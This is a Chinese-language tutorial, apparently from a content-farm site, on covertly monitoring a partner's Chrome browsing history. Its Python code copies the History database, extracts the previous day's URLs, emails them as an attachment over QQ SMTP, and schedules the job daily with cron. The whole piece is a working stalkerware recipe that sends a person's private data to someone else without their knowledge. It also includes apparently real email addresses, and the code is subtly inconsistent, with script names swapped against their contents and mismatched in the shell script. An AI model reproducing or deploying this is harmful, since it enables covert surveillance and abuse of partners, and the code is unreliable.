Python怎么實時監控網站瀏覽記錄

這篇文章主要介紹了Python怎么實時監控網站瀏覽記錄，具有一定借鑒價值，感興趣的朋友可以參考下，希望大家閱讀完這篇文章之后大有收獲，下面讓小編帶著大家一起了解一下。

需求：

(1) 獲取你對象chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間，并存在一個txt文件中

(2)將這個txt文件發送給指定的郵箱地址(你的郵箱)

(3)建立例行任務，每天定時自動完成這些操作，你就可以通過郵件查看你對象每天看啥了 

準備

macOS Sierra

Python3.6

Chrome

發送郵件的qq郵箱地址

qq郵箱授權碼

SMTP服務器地址 : smtp.qq.com

接受郵件的郵箱地址

執行：

(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數據組成

從表中可以看出，我們要的網址和訪問時間就在urls.url和urls.last_visit_time中

(2) get_history.py：

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件執行的需要的參數(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一個郵件地址和郵件信息
def _format_addr(s):
    name, addr = parseaddr(s)
    return formataddr((Header(name, 'utf-8').encode(), addr))

#連接服務器(這里大家好改成自己的！)
from_addr = "771568102@qq.com" #發件人郵箱
password = "xxxxxxxx" #發件人郵箱授權碼
to_addr = "2160802033@cnu.edu.cn" #收件人郵箱
smtp_server = "smtp.qq.com" #SMTP服務器地址

#郵件發件人名字、收件人名字、主題
msg = MIMEMultipart()
msg['From'] = _format_addr('風一樣的女子 <%s>' % from_addr)
msg['To'] = _format_addr('風一樣的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode()

# 郵件正文是MIMEText:
msg.attach(MIMEText('窺探隱私是犯法的啊！', 'plain', 'utf-8'))

# 添加附件就是加上一個MIMEBase，從本地讀取一個txt文件:
with open(args.affix_file, 'r') as f:
    # 設置附件的MIME和文件名，這里是py類型:
    mime = MIMEBase('result', 'txt', filename='result.txt')
    # 加上必要的頭信息:
    mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
    mime.add_header('Content-ID', '<0>')
    mime.add_header('X-Attachment-Id', '0')
    # 把附件的內容讀進來:
    mime.set_payload(f.read())
    # 用Base64編碼:
    encoders.encode_base64(mime)
    # 添加到MIMEMultipart:
    msg.attach(mime)

#3.通過SMTP發送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通過這個腳本，我們可以把url和訪問時間提取出來，并且存儲在

result.txt中

(3) send_email.py：

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路徑
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.連接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.選取我們想要的網址和訪問時間
try:
    select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
    cursor.execute(select_statement)
except sqlite3.OperationalError:
    print("[!] The database is locked! Please exit Chrome and run the script again.")
    quit()

# 3.將網址和訪問時間存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑
    for i in range(len(results)):
        f.write(results[i][1]+'\n')
        f.write(results[i][0]+'\n')

通過這個腳本，我們可以把result.txt作為附件，發送給指定郵箱地

址，下圖是我得到的部分結果

(4) ./start.sh ：其實，前面幾個腳本，已經完成了我們的任務，但是每次都執行這么多腳

本，太麻煩了，我們可以把這些腳本的執行語句整理成一個shell腳本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣，我們在終端執行./start.sh，系統就會幫我們把這三條語句依次執行了

注意：由于crontab命令需要絕對路徑，所以這里的路徑都是用絕對路徑

(5) crontab ：如果使用了這個命令，在電腦開機并且聯網的情況，系統會自動執行，然后把結果發到你的郵箱

使用方法：在終端下輸入crontab -e，使用vim輸入下面一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說明：前面兩個數字，就是你每天執行這個腳本的時間，我這里設置的是14：20。

重要的事再說一遍，一定要寫絕對路徑！！

感謝你能夠認真閱讀完這篇文章，希望小編分享的“Python怎么實時監控網站瀏覽記錄”這篇文章對大家有幫助，同時也希望大家多多支持億速云，關注億速云行業資訊頻道，更多相關知識等著你來學習!